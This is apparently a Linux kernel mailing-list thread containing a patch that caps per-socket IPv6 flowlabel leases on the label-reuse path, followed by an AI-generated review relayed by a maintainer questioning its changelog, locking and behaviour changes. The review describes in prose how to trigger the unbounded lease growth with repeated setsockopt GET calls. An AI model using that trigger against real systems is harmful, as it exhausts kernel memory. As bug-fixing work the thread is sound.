261.628875][ T9280] </TASK> [ 261.629974][ T9280] Kernel Offset: disabled [ 261.630682][ T9280] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ipv6: flowlabel: enforce the per-socket lease cap on reused labels
net/ipv6/ip6_flowlabel.c | 33 +++++++++++++++++++++++++++++---- 1 file changed, 29 insertions(+), 4 deletions(-)
Signature · 1 line
2.43.0
PATCH 1/1 ipv6: flowlabel: enforce the per-socket lease cap on reused labels
ipv6_flowlabel_get() lets a socket reacquire an existing flowlabel and link another ipv6_fl_socklist entry through the recheck path.
mem_check() only counts socket leases after fl_size falls below FL_MAX_SIZE - FL_MAX_PER_SOCK. Reusing an existing flowlabel does not increase fl_size, so duplicate GET requests can keep taking the recheck path and grow one socket's lease list without ever hitting the FL_MAX_PER_SOCK limit.
Check the current socket lease count before linking a reused flowlabel. This keeps the duplicate-acquisition path consistent with the long-standing per-socket cap without changing the global budget logic for new flowlabels.
--- net/ipv6/ip6_flowlabel.c | 33 +++++++++++++++++++++++++++++---- 1 file changed, 29 insertions(+), 4 deletions(-)
net/ipv6/ip6_flowlabel.c +29 -4
@@ -493,6 +493,24 @@ static int mem_check(struct sock *sk)return 0 ; } +static int mem_check_dup (struct sock *sk) +{ +struct ipv6_fl_socklist *sfl; +int count =0 ; + +lockdep_assert_held (&ip6_fl_lock); + +rcu_read_lock (); +for_each_sk_fl_rcu (sk, sfl) + count++; +rcu_read_unlock (); + +if (count >=FL_MAX_PER_SOCK && !capable (CAP_NET_ADMIN )) +return -ENOBUFS ; + +return 0 ; +} +static inline void fl_link (struct sock *sk,struct ipv6_fl_socklist *sfl,struct ip6_flowlabel *fl) {
@@ -679,10 +697,17 @@ static int ipv6_flowlabel_get(struct sock *sk, struct in6_flowlabel_req *freq, err = -ENOMEM ;if (!sfl1) goto release; -if (fl->linger > fl1->linger) - fl1->linger = fl->linger; -if ((long )(fl->expires - fl1->expires) >0 ) - fl1->expires = fl->expires; +spin_lock_bh (&ip6_fl_lock); + err =mem_check_dup (sk); +if (err ==0 ) { +if (fl->linger > fl1->linger) + fl1->linger = fl->linger; +if ((long )(fl->expires - fl1->expires) >0 ) + fl1->expires = fl->expires; + } +spin_unlock_bh (&ip6_fl_lock); +if (err !=0 ) + goto release;fl_link (sk, sfl1, fl1);fl_free (fl);return 0 ;
Signature · 1 line
2.43.0
Jakub Kicinski
maintainerPlease trim the hash in the Fixes tag.
This is an AI-generated review of your patch. The human sending this email has considered the AI review valid, or at least plausible.
---
ipv6: flowlabel: enforce the per-socket lease cap on reused labels
This adds mem_check_dup() and calls it from the recheck/reuse path in ipv6_flowlabel_get(), so that re-acquiring an already existing flowlabel also has to pass the FL_MAX_PER_SOCK per-socket lease check. The linger/expires refresh of the existing label is made conditional on that check passing.
A few questions on the changelog and on the new check below.
[Severity: Low]
The changelog says:
"mem_check() only counts socket leases after fl_size falls below
FL_MAX_SIZE - FL_MAX_PER_SOCK. Reusing an existing flowlabel does not increase fl_size, so duplicate GET requests can keep taking the recheck path and grow one socket's lease list without ever hitting the FL_MAX_PER_SOCK limit."
Is that description of the mechanism accurate? Two things look inverted.
First, the early return in mem_check() is:
room = FL_MAX_SIZE - fl_size; if (room > FL_MAX_SIZE - FL_MAX_PER_SOCK) return 0;
which is room > 8160, i.e. fl_size < FL_MAX_PER_SOCK (32). So the lease count is skipped while fl_size is small, not "after fl_size falls below FL_MAX_SIZE - FL_MAX_PER_SOCK" (8160), which is true nearly all of the time. Was room confused with fl_size here?
Second, before this patch the recheck block in ipv6_flowlabel_get() had no mem_check() call at all, so the per-socket cap was not consulted on the reuse path regardless of fl_size. Should the message describe this as an unconditional absence of accounting on the reuse path rather than a narrow fl_size window? That distinction matters for the stable tag, since the reproducer is just: create a label with share != IPV6_FL_S_EXCL, then repeatedly call setsockopt(IPV6_FLOWLABEL_MGR, IPV6_FL_A_GET) on it.
Quoted 9 lines
net/ipv6/ip6_flowlabel.c +1
-0@@ -493,6 +493,24 @@ static int mem_check(struct sock *sk)return 0 ; } +static int mem_check_dup (struct sock *sk)
net/ipv6/ip6_flowlabel.c static int mem_check(struct sock *sk) · line 506
Quoted 10 lines
net/ipv6/ip6_flowlabel.c +10
-0+{ +struct ipv6_fl_socklist *sfl; +int count =0 ; + +lockdep_assert_held (&ip6_fl_lock); + +rcu_read_lock (); +for_each_sk_fl_rcu (sk, sfl) + count++; +rcu_read_unlock ();
[Severity: Low]
Is ip6_fl_lock the right lock to assert here? The only data mem_check_dup() reads is the per-socket list inet_sk(sk)->ipv6_fl_list, and this file documents that list as being guarded by ip6_sk_fl_lock:
#define socklist_dereference(__sflp) \ rcu_dereference_protected(__sflp, lockdep_is_held(&ip6_sk_fl_lock))
and fl_link() inserts under it:
spin_lock_bh(&ip6_sk_fl_lock); sfl->fl = fl; sfl->next = inet->ipv6_fl_list; rcu_assign_pointer(inet->ipv6_fl_list, sfl); spin_unlock_bh(&ip6_sk_fl_lock);
ip6_fl_lock is described as:
/* FL hash table lock: it protects only of GC */
and guards fl_ht[], fl_size and net->ipv6.flowlabel_count, none of which mem_check_dup() touches (unlike mem_check(), which reads fl_size). So the assertion advertises a contract that is unrelated to the data being walked, and the lock that actually serializes insertion and removal is not held across the count and the following fl_link().
As far as I can tell there is no actual race today, because ipv6_flowlabel_get() and ipv6_flowlabel_put() both run under sockopt_lock_sock(sk) taken in do_ipv6_setsockopt() before IPV6_FLOWLABEL_MGR is dispatched, and fl6_free_socklist() only runs at teardown. Would it be clearer to drop the assertion (and the new spin_lock_bh(&ip6_fl_lock) around the call) and instead note the socket lock invariant in a comment, or assert ip6_sk_fl_lock if a lock is wanted?
As written, the global ip6_fl_lock is held across an O(n) list walk that needs none of the state it protects, which contends with ip6_fl_gc()/fl_intern()/fl_release().
net/ipv6/ip6_flowlabel.c static int mem_check(struct sock *sk) · line 513
Quoted 7 lines
net/ipv6/ip6_flowlabel.c +7
-0+ +if (count >=FL_MAX_PER_SOCK && !capable (CAP_NET_ADMIN )) +return -ENOBUFS ; + +return 0 ; +} +
[Severity: Medium]
The count here is over all leases the socket holds, not over duplicates of the requested label, and the check omits mem_check()'s room/fl_size and net->ipv6.flowlabel_count gating. That makes the reuse path strictly stricter than the create path. Is that intended?
Concretely, while fl_size < FL_MAX_PER_SOCK, mem_check() returns 0 early:
room = FL_MAX_SIZE - fl_size; if (room > FL_MAX_SIZE - FL_MAX_PER_SOCK) return 0;
so the same unprivileged socket may still intern brand-new labels past 32 leases, while mem_check_dup() refuses to share an existing one at the same count. For example: create label L, take 31 further leases of L so count == 32 with fl_size == 1, then IPV6_FL_F_CREATE a new label — room is 8191 > 8160 and mem_check() allows it, but a plain IPV6_FL_A_GET of an existing label returns -ENOBUFS.
Should mem_check_dup() count only leases of the requested label, or reuse the same gating that mem_check() applies?
Quoted 12 lines
net/ipv6/ip6_flowlabel.c +1
-4static inline void fl_link (struct sock *sk,struct ipv6_fl_socklist *sfl,struct ip6_flowlabel *fl) {@@ -679,10 +697,17 @@ static int ipv6_flowlabel_get(struct sock *sk, struct in6_flowlabel_req *freq, err = -ENOMEM ;if (!sfl1) goto release; -if (fl->linger > fl1->linger) - fl1->linger = fl->linger; -if ((long )(fl->expires - fl1->expires) >0 ) - fl1->expires = fl->expires; +spin_lock_bh (&ip6_fl_lock);
net/ipv6/ip6_flowlabel.c static int ipv6_flowlabel_get(struct sock *sk, struct in6_flowlabel_req *freq, · line 710
Quoted 10 lines
net/ipv6/ip6_flowlabel.c +10
-0+ err =mem_check_dup (sk); +if (err ==0 ) { +if (fl->linger > fl1->linger) + fl1->linger = fl->linger; +if ((long )(fl->expires - fl1->expires) >0 ) + fl1->expires = fl->expires; + } +spin_unlock_bh (&ip6_fl_lock); +if (err !=0 ) + goto release;
[Severity: Medium]
This block changes user-visible behaviour in ways the changelog does not mention, since it says only that it keeps "the duplicate-acquisition path consistent with the long-standing per-socket cap".
An IPV6_FL_A_GET that re-acquires or shares an existing label, which previously always succeeded, now returns -ENOBUFS once the socket holds 32 leases of any labels.
When the cap fires, the fl1->linger / fl1->expires refresh is skipped, so a GET-based refresh loop stops refreshing with no error path that distinguishes it from a full failure. Is IPV6_FL_A_RENEW meant to be the only remaining way to refresh here? Would it be better to keep the refresh unconditional and only reject the new fl_link()?
The create branch is also affected. After:
err = mem_check(sk); if (err == 0) fl1 = fl_intern(net, fl, freq->flr_label); ... if (fl1) goto recheck;
a plain IPV6_FL_A_GET|IPV6_FL_F_CREATE that merely loses a create race against another socket re-enters this block and is re-adjudicated by the stricter rule, so it can now fail with -ENOBUFS even though mem_check() already approved it under ip6_fl_lock. Is that acceptable?
Leases are only dropped one at a time by an explicit IPV6_FL_A_PUT in ipv6_flowlabel_put(), or at teardown in fl6_free_socklist(), so a socket that reaches the cap stays capped until it puts labels back.
Quoted 3 lines
net/ipv6/ip6_flowlabel.c +0
-0fl_link (sk, sfl1, fl1);fl_free (fl);return 0 ;
Signature · 1 line
pw-bot: cr